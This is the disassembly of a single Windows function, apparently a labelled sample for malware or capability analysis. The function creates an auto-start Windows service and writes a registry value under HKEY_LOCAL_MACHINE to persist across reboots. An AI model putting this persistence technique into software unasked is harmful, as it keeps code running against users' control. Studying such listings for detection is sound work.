Function at 0x140002700
Capabilities:
Create service
Persist via windows service
Set registry value

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x138], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], 0
nop
mov qword [rbp + 0xb8], 7
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x140002ba4
lea rdx, [0x14008f260]
lea rdi, [rbp - 0x10]
mov rcx, rdi
mov r8d, 0x1e
call fcn.140006940
nop
cmp qword [rbp + 8], 8
jb 0x140002786
mov rdi, qword [rbp - 0x10]
lea rdx, str.5___
lea rbx, [rbp + 0x100]
mov rcx, rbx
mov r8d, 5
call fcn.140006940
nop
cmp qword [rbp + 0x118], 8
jb 0x1400027b4
mov rbx, qword [rbp + 0x100]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x40], xmm0
lea rax, [0x140090450]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
mov r9d, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
mov rax, qword [rbp + 0x118]
cmp rax, 8
jb 0x140002854
nop
mov rcx, qword [rbp + 0x100]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000284f
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002c0b
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
nop
mov rax, qword [rbp + 8]
cmp rax, 8
jb 0x14000289d
nop
mov rcx, qword [rbp - 0x10]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140002898
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002c10
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
test rdi, rdi
je 0x140002b9b
lea rdx, [0x140070060]
lea r14, [rbp - 0x10]
mov r8d, 0x88
mov rcx, r14
call fcn.14006d670
lea rbx, [rbp + 0xe0]
mov rcx, rbx
mov rdx, r14
mov r8d, 0x22
call fcn.140006940
lea rdx, str.5___
lea r14, [rbp + 0x100]
mov rcx, r14
mov r8d, 5
call fcn.140006940
nop
mov r8, qword [rbp + 0x110]
cmp qword [rbp + 0x118], 8
jb 0x14000290c
mov r14, qword [rbp + 0x100]
mov rax, qword [rbp + 0xf0]
mov rcx, qword [rbp + 0xf8]
mov rdx, rcx
sub rdx, rax
cmp rdx, r8
jae 0x14000293f
nop
mov qword [rsp + 0x20], r8
lea rcx, [rbp + 0xe0]
mov rdx, r8
mov r9, r14
call fcn.140005e10
jmp 0x14000296d
lea r15, [rax + r8]
mov qword [rbp + 0xf0], r15
cmp rcx, 8
jb 0x140002957
mov rbx, qword [rbp + 0xe0]
lea rcx, [rbx + rax*2]
add r8, r8
mov rdx, r14
call fcn.14006d670
mov word [rbx + r15*2], 0
nop
mov rax, qword [rbp + 0x118]
cmp rax, 8
jb 0x1400029bc
nop
mov rcx, qword [rbp + 0x100]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x1400029b7
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002c15
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
nop
cmp qword [rbp + 0xf8], 8
jb 0x1400029d0
mov rdx, qword [rbp + 0xe0]
jmp 0x1400029d7
lea rdx, [rbp + 0xe0]
mov rcx, 0xffffffff80000002
mov r8d, 0xf003f
call fcn.140016490
mov rbx, rax
test rax, rax
je 0x140002b43
lea rdx, [0x14008f010]
lea r14, [rbp + 0xc0]
mov rcx, r14
mov r8d, 0x7f
call fcn.140006940
nop
movups xmm0, xmmword [0x14007010c]
movups xmmword [rbp + 0x11c], xmm0
movaps xmm0, xmmword [0x140070100]
movaps xmmword [rbp + 0x110], xmm0
movaps xmm0, xmmword [0x1400700f0]
movaps xmmword [rbp + 0x100], xmm0
cmp qword [rbp + 0xd8], 8
jb 0x140002a4d
mov r14, qword [rbp + 0xc0]
nop
mov r12d, dword [rbp + 0xd0]
lea r15, [rbp + 0x80]
lea rdx, [rbp + 0x100]
mov rcx, r15
mov r8d, inet_ntoa
call fcn.140006940
inc r12d
cmp qword [rbp + 0x98], 8
jb 0x140002a85
mov r15, qword [rbp + 0x80]
nop
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r14
mov rcx, rbx
mov rdx, r15
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rax, qword [rbp + 0x98]
cmp rax, 8
jb 0x140002af4
nop
mov rcx, qword [rbp + 0x80]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140002aef
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002c1f
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
nop
mov rax, qword [rbp + 0xd8]
cmp rax, 8
jb 0x140002b43
nop
mov rcx, qword [rbp + 0xc0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140002b3e
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002c24
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rax, qword [rbp + 0xf8]
cmp rax, 8
jb 0x140002b9b
nop
mov rcx, qword [rbp + 0xe0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140002b96
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002c1a
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rax, qword [rbp + 0xb8]
cmp rax, 8
jb 0x140002bef
nop
mov rcx, qword [rbp + 0xa0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140002bea
nop
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002c06
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14001ef80
mov eax, 1
add rsp, 0x1c0
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
call fcn.14003f990
call fcn.14003f990
call fcn.14003f990
call fcn.14003f990
call fcn.14003f990
call fcn.14003f990
call fcn.14003f990
int3